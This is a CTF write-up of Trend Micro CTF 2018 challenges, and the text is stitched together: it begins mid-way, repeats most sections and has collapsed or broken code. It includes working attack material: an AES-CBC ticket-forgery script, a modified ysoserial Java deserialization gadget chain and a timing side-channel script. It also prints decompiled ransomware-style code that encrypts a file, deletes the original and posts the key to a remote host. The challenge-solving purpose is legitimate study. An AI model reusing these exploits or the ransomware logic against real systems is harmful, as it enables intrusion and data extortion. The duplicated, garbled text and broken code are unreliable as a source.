d1018010d00080d1018002d1008010d1012001d00020d1014020d00040d1018010d00020d1014020d00040d1014008d1008010d1018004d00080d101801072019 e26febc8 d1018010d00080d1018004d1008010d1014008d00040d1014020d00020d1018010d00040d1014020d00020d1012001d1008010d1018002d00080d101801072022 e66fe7c8 d1018010d00080d1018004d1008010d1014008d00040d1014020d00020d1018010d00040d1014020d00020d1012002d1008010d1018001d00080d101801085399 e27febb8 d1018010d00080d1018008d1008010d1014004d00040d1014020d00020d1018010d00040d1014020d00020d1012001d1008010d1018002d00080d101801085402 e67fe7b8 d1018010d00080d1018008d1008010d1014004d00040d1014020d00020d1018010d00040d1014020d00020d1012002d1008010d1018001d00080d1018010```Send the instructions into the problem program.And you would get the flag:`TMCTF{v1rtu4l_r1v3r5_n_fl4g5}`By the way, there are 1348396 solutions of this problem.## Forensics-Crypto1
### 400We are given a pair of plaintext and ciphertext, also, an encrypted secret text. In this challenge, Feistel cipher is used in encryption. The round function is choosen to be `xor`, while the number of rounds of encryption is unknown. Our goal is to decrypt the secret text.
Let's first write down the results after every round of encryption. Let `L`, `R` be the first and last half of the plaintext, we simply ignore the difference of the keys and denote the xor sum of them as `K`. (But remember that they are not actually the same.) Note that the operation `+` means `xor`.```Round 0: L, RRound 1: R, L+R+KRound 2: L+R+K, L+KRound 3: L+K, R+KRound 4: R+K, L+R+K... repeat```We could find a regular pattern of the results, it repeats every three rounds. Though we do not know the actual number of rounds of encryption, but there are only three possiblities to try. Here is our script for decryption:
```pythondef bin2text(s): l = [s[i:i+8] for i in range(0, len(s), 8)] return ''.join([chr(int(c, 2)) for c in l])
def binxor(s, t): return ''.join([str(int(s[i]) ^ int(t[i])) for i in range(len(s))]) ...
pt0, pt1 = pt[:144], pt[144:]ct0, ct1 = ct[:144], ct[144:]st0, st1 = st[:144], st[144:]
# guess the result is R+K, L+R+Kk1 = binxor(pt0, ct1)k2 = binxor(binxor(ct0, ct1), pt1)
m1 = binxor(st1, k1)m2 = binxor(binxor(st0, st1), k2)print(bin2text(m1+m2))```FLAG: `TMCTF{Feistel-Cipher-Flag-TMCTF2018}`
## Forensics-Crypto2
### 100 (sces60107)
I will finish these part of writeup in my free time QQ
### 200 (sces60107)
1. Use PyInstaller Extractor v1.92. Cannot use uncompyle2. But we can reconstruct the flag directly from the byte code3. xxd mausoleum and get this4. It's easy to find out the pieces of flag. And you can reconstruct the flag `TMCTF{the_s3cr3t_i$_unE@rth3d}`
### 300
We can dump a x86 boot sector from `email.pdf`, that is a filesystem. when we mount the filesystem, we can see a small packet replay tool provided by trendmicro. We can find a packet replay binary at bin folder in the project.
It has one more parameter `-g` than the original binary. At function `sub_C42690("34534534534534534534534erertert676575675675675", 10)` return value is `0xfbfa`, when we change hex to decimal, we got the flag `64506`
## Reversing-Other
### 100, 200 (sces60107)
I will finish these part of writeup in my free time QQ
### 400 (sces60107)
1. Use `dis.dis` then you can extract python code2. Use Z3 to reconstruct the flag```python=from z3 import *
s=Solver()
flag=[]
for i in range(24): flag.append(BitVec("flag_"+str(i),32)) s.add(flag[i] < 256) s.add(flag[i] > 0)
summ=0
for i in flag: summ+=is.add(summ%24 == 9)s.add(summ/24 == 104)inval=[]
for i in flag: inval.append(i^104)ROFL=list(reversed(inval))KYRYK = [0]*5QQRTQ = [0]*5KYRYJ = [0]*5QQRTW = [0]*5KYRYH = [0]*5QQRTE = [0]*5KYRYG = [0]*5QQRTR = [0]*5KYRYF = [0]*5QQRTY = [0]*5print len(inval)
for i in range(5): for j in range(4): KYRYK[i] ^= inval[i+j] QQRTQ[i] += inval[i+j] KYRYJ[i] ^= inval[i*j] QQRTW[i] += inval[i*j] KYRYH[i] ^= inval[i*j+8] QQRTE[i] += inval[i*j+8] KYRYG[i] ^= ROFL[i*j+8] QQRTR[i] += ROFL[i*j+8] KYRYF[i] ^= ROFL[i+j] QQRTY[i] += ROFL[i+j] KYRYK[i] += 32 KYRYJ[i] += 32 KYRYH[i] += 32 KYRYG[i] += 32 KYRYF[i] += 32 QQRTE[i] += 8 QQRTY[i] += 1
for i,j in zip(KYRYK,'R) +6'): k=ord(j) s.add(i == k)for i,j in zip(QQRTQ,'l1:C('): k=ord(j) s.add(i == k)for i,j in zip(KYRYJ,' RP%A'): k=ord(j) s.add(i == k)for i,j in zip(QQRTW,[236,108,102,169,93]): s.add(i == j)for i,j in zip(KYRYH,' L30Z'): k=ord(j) s.add(i == k)for i,j in zip(QQRTE,' j36~'): k=ord(j) #print i,j s.add(i == k)for i,j in zip(KYRYG,' M2S+'): k=ord(j) #print i,j s.add(i == k)for i,j in zip(QQRTR,'4e\x9c{E'): k=ord(j) s.add(i == k)for i,j in zip(KYRYF,'6!2$D'): k=ord(j) s.add(i == k)for i,j in zip(QQRTY,']PaSs'): k=ord(j) s.add(i == k)print s.check()realflag = ""for i in flag: realflag+=chr(s.model()[i].as_long())print realflag# TMCTF{SlytherinPastTheReverser}```
## Misc
### 100```shell$ binwalk EATME.pdf
DECIMAL HEXADECIMAL DESCRIPTION--------------------------------------------------------------------------------0 0x0 PDF document, version: "1.7"353 0x161 JPEG image data, JFIF standard 1.01383 0x17F TIFF image data, big-endian, offset of first image directory: 8749016 0xB6DD8 Zip archive data, at least v2.0 to extract, compressed size: 41, uncompressed size: 200, name: flag.txt749123 0xB6E43 Zip archive data, at least v2.0 to extract, compressed size: 4168158, uncompressed size: -1, name: galf.txt4969997 0x4BD60D End of Zip archive, footer length: 31, comment: "Boooooom!"4970099 0x4BD673 Zlib compressed data, default compression4971214 0x4BDACE Zlib compressed data, default compression4971660 0x4BDC8C Zlib compressed data, default compression```There are files `flag.txt` and `glaf.txt`. Try:```shell$ binwalk -Me EATME.pdfDECIMAL HEXADECIMAL DESCRIPTION--------------------------------------------------------------------------------0 0x0 PDF document, version: "1.7"353 0x161 JPEG image data, JFIF standard 1.01383 0x17F TIFF image data, big-endian, offset of first image directory: 8^C```Flag is in `flag.txt`. Be sure to press `^C`, otherwise, the file `galf.txt` with size `-1` will be extracted...FLAG: `TMCTF{QWxpY2UgaW4gV29uZGVybGFuZA==}`
### 200
We are given a broken python script and a pcap file. The pcap file contains numerous ICMP ping packets, and it's obvious that there is payload hiding in ICMP tunnel. Let's extract them:
```shell$ strings traffic.pcap -n16 | grep , | grep '^[0-9][0-9,\.]*' -o4.242410,2.9708804.242410,2.9708807.021890,1.989350...```
Moreover, the broken python script implements DBSCAN algorithm. It's not very difficult to recover the script with the [source](http://scikit-learn.org/stable/auto_examples/cluster/plot_dbscan.html) available. Also we adjust the DBSCAN parameters `eps` and `min_sample`. In fact several pairs of `eps` and `min_sample` can produce the desired result.
```pythonimport matplotlib.pyplot as pltimport seaborn as sns; sns.set() # for plot stylingimport numpy as npfrom sklearn.datasets.samples_generator import make_blobsfrom numpy import genfromtxtfrom sklearn.cluster import DBSCAN
#humm, encontre este codigo en un servidor remoto#estaba junto con el "traffic.pcap"# que podria ser?, like some sample code
X = np.genfromtxt('test_2.txt', delimiter=',')print(X)db = DBSCAN(eps=0.3, min_samples=10).fit(X)labels = db.labels_n_clusters_ = len(set(labels)) - (1 if -1 in labels else 0)core_samples_mask = np.zeros_like(db.labels_, dtype=bool)core_samples_mask[db.core_sample_indices_] = Trueunique_labels = set(labels)colors = [plt.cm.Spectral(each) for each in np.linspace(0, 1, len(unique_labels))]for k, col in zip(unique_labels, colors): class_member_mask = (labels == k) xy = X[class_member_mask & core_samples_mask] plt.plot(xy[:, 0], xy[:, 1], 'o', markerfacecolor=tuple(col), markeredgecolor='k', markersize=14)
#NOTE: what you see in the sky put it format TMCTF{replace_here}#where "replace_here" is what you seeplt.title('aaaaaaaa: %d' % n_clusters_)plt.show()```

With @sces60107's sharp eyes, we quicklly realize that this is the mirror or `FLAG:1`. And the rest of the work is to guess the flag. Try each combination of `One, 1, oNE, ONE, FLAG:1, flag:one, 1:flag, flag:1 ....`
The flag comes out to be `TMCTF{flag:1}`.
### 300
The challenge is about java unsafe deserialization. The file includes `commons-collections-3.1.jar` and a web server, which deserializes the user's input:
```java// Server.java@WebServlet({"/jail"})public class Server extends HttpServlet{ private static final long serialVersionUID = 1L; public Server() {} protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { try { ServletInputStream is = request.getInputStream(); ObjectInputStream ois = new CustomOIS(is); Person person = (Person)ois.readObject(); ois.close(); response.getWriter().append("Sorry " + person.name + ". I cannot let you have the Flag!."); } catch (Exception e) { response.setStatus(500); e.printStackTrace(response.getWriter()); } }} ```
```java// CustomOIS.javapublic class CustomOIS extends ObjectInputStream{ private static final String[] whitelist = { "javax.management.BadAttributeValueExpException", "java.lang.Exception", "java.lang.Throwable", "[Ljava.lang.StackTraceElement;", "java.lang.StackTraceElement", "java.util.Collections$UnmodifiableList", "java.util.Collections$UnmodifiableCollection", "java.util.ArrayList", "org.apache.commons.collections.keyvalue.TiedMapEntry", "org.apache.commons.collections.map.LazyMap", "org.apache.commons.collections.functors.ChainedTransformer", "[Lorg.apache.commons.collections.Transformer;", "org.apache.commons.collections.functors.ConstantTransformer", "com.trendmicro.jail.Flag", "org.apache.commons.collections.functors.InvokerTransformer", "[Ljava.lang.Object;", "[Ljava.lang.Class;", "java.lang.String", "java.lang.Object", "java.lang.Integer", "java.lang.Number", "java.util.HashMap", "com.trendmicro.Person" };
public CustomOIS(ServletInputStream is) throws IOException { super(is); }
public Class resolveClass(ObjectStreamClass des) throws IOException, ClassNotFoundException { if (!Arrays.asList(whitelist).contains(des.getName())) { throw new ClassNotFoundException("Cannot deserialize " + des.getName()); } return super.resolveClass(des); }}
```
```java// Person.java and jail/Flag.javapublic class Person implements Serializable { public String name; public Person(String name) { this.name = name; }} public class Flag implements Serializable { static final long serialVersionUID = 6119813099625710381L; public Flag() {} public static void getFlag() throws Exception { throw new Exception("<FLAG GOES HERE>"); }}
```
I use [jd-gui](http://jd.benow.ca/) to decompile the java class files.
The objective is to invoke `Flag.getFlag()`. However, it's tricky because:
1. getFlag() is static (class method)2. Server.java only accesses the member `person.name`.3. The server doesn't invoke any other method.
So we quickly realize it's not possible to call `getFlag()`. We need RCE / more powerful exploit.
We note that the `CustomOIS.java` uses a whitelist to check the resolved class name, but it's really suspicous because some weird classes are in the whiltelist, like `javax.management.BadAttributeValueExpException`.
With a quick Google we found [ysoserial](https://github.com/frohoff/ysoserial) can generate RCE payload for `commons-collections:3.1`, which is the dependency of the server.
Actually the `CommonsCollections5` utilizes those classes in the whitelist to trigger RCE, but `Java.lang.Runtime` is not in the whilelist. I think it's not able to RCE.
Though we cannot call `Runtime.exec()`, at least we can try to invoke `Flag.getFlag()`.
Here is the modified version of [CommonCollection5.java](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections5.java):
```java// Some of the code is omitted....
import java.io.Serializable;class Flag implements Serializable { static final long serialVersionUID = 6119813099625710381L; public Flag() {} public static void getFlag() throws Exception { throw new Exception("<FLAG GOES HERE>"); } }
public class CommonsCollections5 extends PayloadRunner implements ObjectPayload<BadAttributeValueExpException> {
public BadAttributeValueExpException getObject(final String command) throws Exception { final String[] execArgs = new String[] { command }; // inert chain for setup final Transformer transformerChain = new ChainedTransformer( new Transformer[]{ new ConstantTransformer(1) }); // real chain for after setup final Transformer[] transformers = new Transformer[] { new ConstantTransformer(Flag.class), // Flag class here new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getFlag", new Class[0] }), // invoke static method getFlag new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new ConstantTransformer(1) };
...
```
We have generate the payload, but the class name of Flag is incorrect; it should be `com.trendmicro.jail.Flag`. Let's use Python to do the replacement trick:
```python# The first byte is the length of the class namereplace(b'\x17ysoserial.payloads.Flag',b'\x18com.trendmicro.jail.Flag')```
The flag: `TMCTF{15nuck9astTheF1agMarsha12day}`
|
# Trend Micro CTF 2018
**It's recommended to read our responsive [web version](https://balsn.tw/ctf_writeup/20180914-trendmicroctf/) of this writeup.**
- [Trend Micro CTF 2018](#trend-micro-ctf-2018) - [Analysis-Offensive](#analysis-offensive) - [200](#200) - [300](#300) - [400 ACME Protocol](#400-acme-protocol) - [Reversing-Binary](#reversing-binary) - [100 (sces60107)](#100-sces60107) - [300](#300-1) - [400](#400) - [part 2](#part-2) - [Forensics-Crypto1](#forensics-crypto1) - [400](#400-1) - [Forensics-Crypto2](#forensics-crypto2) - [100 (sces60107)](#100-sces60107-1) - [200 (sces60107)](#200-sces60107) - [300](#300-2) - [Reversing-Other](#reversing-other) - [100, 200 (sces60107)](#100-200-sces60107) - [400 (sces60107)](#400-sces60107) - [Misc](#misc) - [100](#100) - [200](#200-1) - [300](#300-3)
## Analysis-Offensive
### 200
We are given a program `oracle` which reads our input. If our input matches the flag, it outputs `True`, otherwise, `False`.
According to the hints from the description, (1) The program exits as fast as possible. (2) This is not a reverse challenge.
So, let's take a look at the system calls it uses:```shell$ strace ./oracle TMCTF{execve("./oracle", ["./oracle", "TMCTF{"], [/* 23 vars */]) = 0brk(NULL) = 0x146d000brk(0x146e1c0) = 0x146e1c0arch_prctl(ARCH_SET_FS, 0x146d880) = 0uname({sysname="Linux", nodename="ubuntu-xenial", ...}) = 0readlink("/proc/self/exe", "/home/vagrant/trend/analysis-200"..., 4096) = 39brk(0x148f1c0) = 0x148f1c0brk(0x1490000) = 0x1490000access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)nanosleep({0, 15000000}, NULL) = 0nanosleep({0, 15000000}, NULL) = 0nanosleep({0, 15000000}, NULL) = 0nanosleep({0, 15000000}, NULL) = 0nanosleep({0, 15000000}, NULL) = 0nanosleep({0, 15000000}, NULL) = 0fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0write(1, "False\n", 6False) = 6exit_group(0) = ?+++ exited with 0 +++```Nice, it sleeps six times when the first six characters are correct. Here is our script:
```pythonimport subprocessimport string
flag = 'TMCTF{'while True: for c in string.ascii_letters + string.digits + '{}_': batcmd = '/usr/bin/strace ./oracle "{}" 2>&1'.format(flag + c) result = subprocess.check_output(batcmd, shell=True) if result.count('nano') == len(flag) + 1: flag += c break print(flag)```FLAG: `TMCTF{WatchTh3T1m3}`
### 300We are given three people's public keys and the messages for them respectively. For example,```message for Alice:18700320110367574655449823553009212724937318442101140581378358928204994827498139841897479168675123789374462637095265564472109735802305521045676412446455683615469865332270051569768255072111079626023422
Alice's public key (e,N):( 65537 , 23795719145225386804055015945976331504878851440464956768596487167710701468817080174616923533397144140667518414516928416724767417895751634838329442802874972281385084714429143592029962130216053890866347 )```It turns out that any two of the module `N`s has a common factor, thus they all can be factorized.```pythonfrom gmpy2 import *
...
g_ab = gcd(a_N, b_N)g_bc = gcd(b_N, c_N)
def decrypt(msg, p, q, N): phi_n = (p-1)*(q-1) d = invert(65537, phi_n) msg = pow(msg, d, N) print(int2text(msg))
decrypt(a_msg, g_ab, a_N/g_ab, a_N)decrypt(b_msg, g_ab, b_N/g_ab, b_N)decrypt(c_msg, g_bc, c_N/g_bc, c_N)```Hmm... is it worth 300 points?FLAG: `TMCTF{B3Car3fu11Ab0utTh3K3ys}`
### 400 ACME Protocol
We are given a protocol and some reference implementation in Python. The author of this challenge is so kind. Even a protocol spec is given! so let's take a closer look at the protocol to find the vulnerability.
First, our objective is obvious: run `getflag` as `admin`
```4.6 COMMAND (Message Type 0x06)
Message Format: Client -> Server: 0x06 | Ticket | Command
Explanation: Client requests execution of the command specified by the string Command. Ticket must be a valid, current ticket received via a LOGON_SUCCESS message.
Processing: The server executes the following algorithm upon receipt:
Set D = Decrypt(Base64Decode(Ticket), KS)Scan D sequentially as follows:Set IdentityFromTicket = JSON string (UTF-8, null-terminated)Set Timestamp = 8 bytesIf Timestamp is too old (> 1 hour): Respond with message AUTHX_FAILURE EndSet U to the string IdentityFromTicket.userIterate over IdentityFromTicket.groups, collecting the results into an array of strings, GSet Identity = object expressing U and GIf Command = โwhoamiโ: Set Result = JSON string: { user: Identity.U, groups: [ G1, G2, ... ] } where G1, G2, ... are the elements of Identity.GElse If Command = โgetflagโ: If G contains the string โadminโ: Set Result = CTF flag Else: Respond with message AUTHX_FAILURE EndElse: Respond with message AUTHX_FAILURE EndRespond with message COMMAND_RESULT(Result)```
Okay, the next problem is how to generate a valid `IdentityFromTicket`, which is a JSON string encrypted by KS (server key)? What we want to do is to send `Encrypt({"user":"admin","groups":["admin"]} | timestamp)`. Note that in this challenge we don't even have a valid guest account to login.
Of course we don't have the server key, but can we abuse other command to manipulate the payload? Let's take a look at LOGON_REQUEST:
```4.1 LOGON_REQUEST (Message Type 0x01)
Message format: Client -> Server: 0x01 | U
Explanation: The client sends this message to the server to initiate authentication with username U.
Processing: The server executes the following algorithm upon receipt:
Set Nonce = 8-byte random nonceSet Timestamp = current timestampSet ChallengeCookie = Base64Encode(Encrypt(Nonce | U | Timestamp, KS))Respond with message LOGON_CHALLENGE(Nonce, ChallengeCookie)```
Basically the server will encrypt user-provided U (username), and we'll get the ciphertext of `Encrypt(Nonce | U | Timestamp)`.
It's apparent that `Encrypt(Nonce | U | Timestamp)` is similar to what we need, `Encrypt({"user":"admin","groups":["admin"]} | timestamp)`. However, how to get rid of the nonce?
Since the encryption uses AES-128-CBC, it's feasible to truncate the nonce!
The idea is simple: we'll let the server encrypt the following payload:
```block 0: 8-byte nonce + 8-byte garbageblock 1,2,3: 16 * 3 bytes JSON stringblock 4: 8-byte timestamp + 8-byte PKCS#7 padding```
and we'll truncate the first block.
Here is the attack script:
```python#!/usr/bin/env python3import socketimport timeimport numpy as npimport jsonimport base64
def send(s): sock.send(s) print(f'[<-send] {s}')
def recv(): s = sock.recv(2**14) print(f'[recv->] {repr(s)}') return s
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)sock.connect(("localhost", 9999))
payload = '{"user":"admin","groups":["admin", "aaaaaaaaa"]}'assert len(payload) == 16 * 3send(b'\x01garbage!' + payload.encode() + b'\x00')# 0x02 | 8 byte Nonce | ChallengeCookie (null byte terminated)enc = base64.b64decode(recv()[1+8:-1])# enc: 6 blocks: iv | (8 byte Nonce | 8 byte garbage!) | 48 bytes payload | Timestampassert len(enc) == 16 * 6
#0x06 | Ticket | Commandsend(b'\x06' + base64.b64encode(enc[16:]) + b'\x00' + b'getflag\x00')print(recv())# TMCTF{90F41EF71ED5}sock.close()```
I guess some teams retrieve the flag using reverse skills, though the author claimed it's heavily obfuscated.
In real world, there are lots of protocols and it's really important to ensure every step is secure. IMO this challenge is well-designed and very interesting! I really enjoyed it. Thanks to the author for such a practical challenge.
## Reversing-Binary
### 100 (sces60107)
1. Use PyInstaller Extractor v1.9 and uncompyle22. Now we have this source code```python=import struct, os, time, threading, urllib, requests, ctypes, base64from Cryptodome.Random import randomfrom Cryptodome.Cipher import AES, ARC4from Cryptodome.Hash import SHAinfile = 'EncryptMe1234.txt'encfile = 'EncryptMe1234.txt.CRYPTED'keyfile = 'keyfile'sz = 1024bs = 16passw = 'secretpassword'URL = 'http://192.168.107.14'rkey = 'secretkey'key = os.urandom(bs)iv = os.urandom(bs)
def callbk(): global rkey global passw global iv global key id = 0 n = 0 while id == 0 or n == 0 and n < 256: id = os.urandom(1) n = hex(ord(id) + bs)
id = id.encode('hex') for c in passw: passw = ''.join(chr(ord(c) ^ int(n, 16)))
key = ''.join((chr(ord(x) ^ int(n, 16)) for x in key)) for c in rkey: rkey = ''.join(chr(ord(c) ^ int(n, 16)))
iv = ''.join((chr(ord(y) ^ int(n, 16)) for y in iv)) key = key.encode('hex') iv = iv.encode('hex') Headers = {'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': 'Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2224.3 Safari/537.36'} params = urllib.urlencode({'id': id, 'key': key, 'iv': iv}) rnum = os.urandom(bs) khash = SHA.new(rnum).digest() cipher1 = ARC4.new(khash) khash = khash.encode('hex') msg = cipher1.encrypt(params) msg = base64.b64encode(khash + msg.encode('hex')) response = requests.post(url=URL, data=msg, headers=Headers) del key del iv ctypes.windll.user32.MessageBoxA(0, 'Your file "EncryptMe1234.txt" has been encrypted. Obtain your "keyfile" to decrypt your file.', 'File(s) Encrypted!!!', 1)
def encrypt(): global encfile global infile aes = AES.new(key, AES.MODE_CBC, iv) if os.path.exists(infile): fin = open(infile, 'r') fout = open(encfile, 'w') fsz = os.path.getsize(infile) fout.write(struct.pack('<H', fsz)) while True: data = fin.read(sz) n = len(data) if n == 0: break elif n % bs != 0: data += '0' * (bs - n % bs) crypt = aes.encrypt(data) fout.write(crypt)
fin.close() fout.close() os.remove(infile) callbk() else: return
def decrypt(): global keyfile key = '' iv = '' if not os.path.exists(encfile): exit(0) while True: time.sleep(10) if os.path.exists(keyfile): keyin = open(keyfile, 'rb') key = keyin.read(bs) iv = keyin.read(bs) if len(key) != 0 and len(iv) != 0: aes = AES.new(key, AES.MODE_CBC, iv) fin = open(encfile, 'r') fsz = struct.unpack('<H', fin.read(struct.calcsize('<H')))[0] fout = open(infile, 'w') fin.seek(2, 0) while True: data = fin.read(sz) n = len(data) if n == 0: break decrypted = aes.decrypt(data) n = len(decrypted) if fsz > n: fout.write(decrypted) else: fout.write(decrypted[:fsz]) fsz -= n
fin.close() os.remove(encfile) break
def main(): encrypt() t2 = threading.Thread(target=decrypt, args=()) t2.start() t2.join()
if __name__ == '__main__': main()```3. Extract information from filecrypt.pcap and decrypt the message then get this string `id=d1&key=2f87011fadc6c2f7376117867621b606&iv=95bc0ed56ab0e730b64cce91c9fe9390`4. But these are not the original key and the original iv. Take a look of this part of code, then you can recover the original key and the original iv```python while id == 0 or n == 0 and n < 256: id = os.urandom(1) n = hex(ord(id) + bs)
id = id.encode('hex') for c in passw: passw = ''.join(chr(ord(c) ^ int(n, 16)))
key = ''.join((chr(ord(x) ^ int(n, 16)) for x in key)) for c in rkey: rkey = ''.join(chr(ord(c) ^ int(n, 16)))
iv = ''.join((chr(ord(y) ^ int(n, 16)) for y in iv)) key = key.encode('hex') iv = iv.encode('hex')```5. The original key = `"ce66e0fe4c272316d680f66797c057e7".decode("hex")`6. The original iv = `"745def348b5106d157ad2f70281f7271".decode("hex")`7. Now you know how to retrieve the flag `TMCTF{MJB1200}`
### 300 The PE file has been `MEW` packed, we can using ollydbg to unpack it. And it also has anti debugger detection, but we can easily using static analysis to find the flag.
### 400#### part 2Using state compression to boost the speed of searching.```C++#pragma GCC optimize ("O3")#include<bits/stdc++.h>#pragma GCC optimize ("O3")#define f first#define s secondusing namespace std;typedef pair<int,int> par;unsigned char op[62];int cnt=0;inline unsigned char tohex(int x){ if(x>9)return x-10+'a'; return x+'0';}char s[100];unsigned int chash(){ unsigned long long int a = 0; for(int i=0;i<62;i++){ a = ( tohex((op[i]>>4&0xF)) + (a >> 13 | a << 19)) & 0xffffffffll; a = ( tohex(op[i]&0xF) + (a >> 13 | a << 19)) & 0xffffffffll; } return a;}void F(int p,int mask,bool boat){ if(p==62&&mask==0xFF){ cnt++; unsigned int hsh=chash(); if( hsh==0xE67FE7B8|| hsh==0xE27FEBB8|| hsh==0xE66FE7C8|| hsh==0xE26FEBC8|| hsh==0xF276F3DC|| hsh==0xE27703DC|| hsh==0xF272F3E0|| hsh==0xE27303E0 ){ fprintf(stderr,"%d %08x ",cnt,hsh); for(int i=0;i<62;i++) fprintf(stderr,"%02x",op[i]); fprintf(stderr,"\n"); } //puts("~~~"); return; } if(p+4<=62){ op[p]=0xd1; if(boat==0){ op[p+1]=0x1; for(int x=~mask&0xFF,y=x&-;;y;x^=y,y=x&-x){ op[p+3]=y; for(int x2=(x^y)&0xE0,y2=x2&-x2;y2;x2^=y2,y2=x2&-x2){ op[p+2]=y2; if(y2==0x40&&y==0x10) continue; int nmk=mask^y^y2; if((y==0x20||y2==0x20)&&((~nmk&0x42)==0x42||(~nmk&0x41)==0x41)) continue; if((y==0x40||y2==0x40)&&((~nmk&0x28)==0x28||(~nmk&0x24)==0x24)) continue; if((y==0x80||y2==0x80)&&((~nmk&0x10)==0x10&&(~nmk&0xFF)!=0x10)) continue; F(p+4,nmk,boat^1); } } } else{ op[p+1]=0x0; for(int x=mask,y=x&-;;y;x^=y,y=x&-x){ op[p+3]=y; for(int x2=(x^y)&0xE0,y2=x2&-x2;y2;x2^=y2,y2=x2&-x2){ op[p+2]=y2; if(y2==0x40&&y==0x10) continue; int nmk=mask^y^y2; if((y==0x20||y2==0x20)&&((nmk&0x42)==0x42||(nmk&0x41)==0x41)) continue; if((y==0x40||y2==0x40)&&((nmk&0x28)==0x28||(nmk&0x24)==0x24)) continue; if((y==0x80||y2==0x80)&&((nmk&0x10)==0x10&&(nmk&0xFF)!=0x10)) continue; F(p+4,nmk,boat^1); } } } } if(p+3<=62){ op[p]=0xd0; if(boat==0){ op[p+1]=0x1; for(int x=~mask&0xE0,y=x&-;;y;x^=y,y=x&-x){ op[p+2]=y; int nmk=mask^y; if((y==0x20)&&((~nmk&0x42)==0x42||(~nmk&0x41)==0x41)) continue; if((y==0x40)&&((~nmk&0x28)==0x28||(~nmk&0x24)==0x24)) continue; if((y==0x80)&&((~nmk&0x10)==0x10&&(~nmk&0xFF)!=0x10)) continue; F(p+3,nmk,boat^1); } } else{ op[p+1]=0x0; for(int x=mask&0xE0,y=x&-;;y;x^=y,y=x&-x){ op[p+2]=y; int nmk=mask^y; if((y==0x20)&&((nmk&0x42)==0x42||(nmk&0x41)==0x41)) continue; if((y==0x40)&&((nmk&0x28)==0x28||(nmk&0x24)==0x24)) continue; if((y==0x80)&&((nmk&0x10)==0x10&&(nmk&0xFF)!=0x10)) continue; F(p+3,mask^y,boat^1); } } } return;}int main(){ F(0,0,0);}```And you would get the output in about 15 seconds on Intel 8650U.```45721 e27303e0 d1018010d00080d1018001d1008010d1012002d00020d1014020d00040d1018010d00020d1014020d00040d1014004d1008010d1018008d00080d101801045724 f272f3e0 d1018010d00080d1018001d1008010d1012002d00020d1014020d00040d1018010d00020d1014020d00040d1014008d1008010d1018004d00080d101801059555 e27703dc d1018010d00080d1018002d1008010d1012001d00020d1014020d00040d1018010d00020d1014020d00040d1014004d1008010d1018008d00080d101801059558 f276f3dc d1018010d00080d1018002d1008010d1012001d00020d1014020d00040d1018010d00020d1014020d00040d1014008d1008010d1018004d00080d101801072019 e26febc8 d1018010d00080d1018004d1008010d1014008d00040d1014020d00020d1018010d00040d1014020d00020d1012001d1008010d1018002d00080d101801072022 e66fe7c8 d1018010d00080d1018004d1008010d1014008d00040d1014020d00020d1018010d00040d1014020d00020d1012002d1008010d1018001d00080d101801085399 e27febb8 d1018010d00080d1018008d1008010d1014004d00040d1014020d00020d1018010d00040d1014020d00020d1012001d1008010d1018002d00080d101801085402 e67fe7b8 d1018010d00080d1018008d1008010d1014004d00040d1014020d00020d1018010d00040d1014020d00020d1012002d1008010d1018001d00080d1018010```Send the instructions into the problem program.And you would get the flag:`TMCTF{v1rtu4l_r1v3r5_n_fl4g5}`By the way, there are 1348396 solutions of this problem.## Forensics-Crypto1
### 400We are given a pair of plaintext and ciphertext, also, an encrypted secret text. In this challenge, Feistel cipher is used in encryption. The round function is choosen to be `xor`, while the number of rounds of encryption is unknown. Our goal is to decrypt the secret text.
Let's first write down the results after every round of encryption. Let `L`, `R` be the first and last half of the plaintext, we simply ignore the difference of the keys and denote the xor sum of them as `K`. (But remember that they are not actually the same.) Note that the operation `+` means `xor`.```Round 0: L, RRound 1: R, L+R+KRound 2: L+R+K, L+KRound 3: L+K, R+KRound 4: R+K, L+R+K... repeat```We could find a regular pattern of the results, it repeats every three rounds. Though we do not know the actual number of rounds of encryption, but there are only three possiblities to try. Here is our script for decryption:
```pythondef bin2text(s): l = [s[i:i+8] for i in range(0, len(s), 8)] return ''.join([chr(int(c, 2)) for c in l])
def binxor(s, t): return ''.join([str(int(s[i]) ^ int(t[i])) for i in range(len(s))]) ...
pt0, pt1 = pt[:144], pt[144:]ct0, ct1 = ct[:144], ct[144:]st0, st1 = st[:144], st[144:]
# guess the result is R+K, L+R+Kk1 = binxor(pt0, ct1)k2 = binxor(binxor(ct0, ct1), pt1)
m1 = binxor(st1, k1)m2 = binxor(binxor(st0, st1), k2)print(bin2text(m1+m2))```FLAG: `TMCTF{Feistel-Cipher-Flag-TMCTF2018}`
## Forensics-Crypto2
### 100 (sces60107)
I will finish these part of writeup in my free time QQ
### 200 (sces60107)
1. Use PyInstaller Extractor v1.92. Cannot use uncompyle2. But we can reconstruct the flag directly from the byte code3. xxd mausoleum and get this4. It's easy to find out the pieces of flag. And you can reconstruct the flag `TMCTF{the_s3cr3t_i$_unE@rth3d}`
### 300
We can dump a x86 boot sector from `email.pdf`, that is a filesystem. when we mount the filesystem, we can see a small packet replay tool provided by trendmicro. We can find a packet replay binary at bin folder in the project.
It has one more parameter `-g` than the original binary. At function `sub_C42690("34534534534534534534534erertert676575675675675", 10)` return value is `0xfbfa`, when we change hex to decimal, we got the flag `64506`
## Reversing-Other
### 100, 200 (sces60107)
I will finish these part of writeup in my free time QQ
### 400 (sces60107)
1. Use `dis.dis` then you can extract python code2. Use Z3 to reconstruct the flag```python=from z3 import *
s=Solver()
flag=[]
for i in range(24): flag.append(BitVec("flag_"+str(i),32)) s.add(flag[i] < 256) s.add(flag[i] > 0)
summ=0
for i in flag: summ+=is.add(summ%24 == 9)s.add(summ/24 == 104)inval=[]
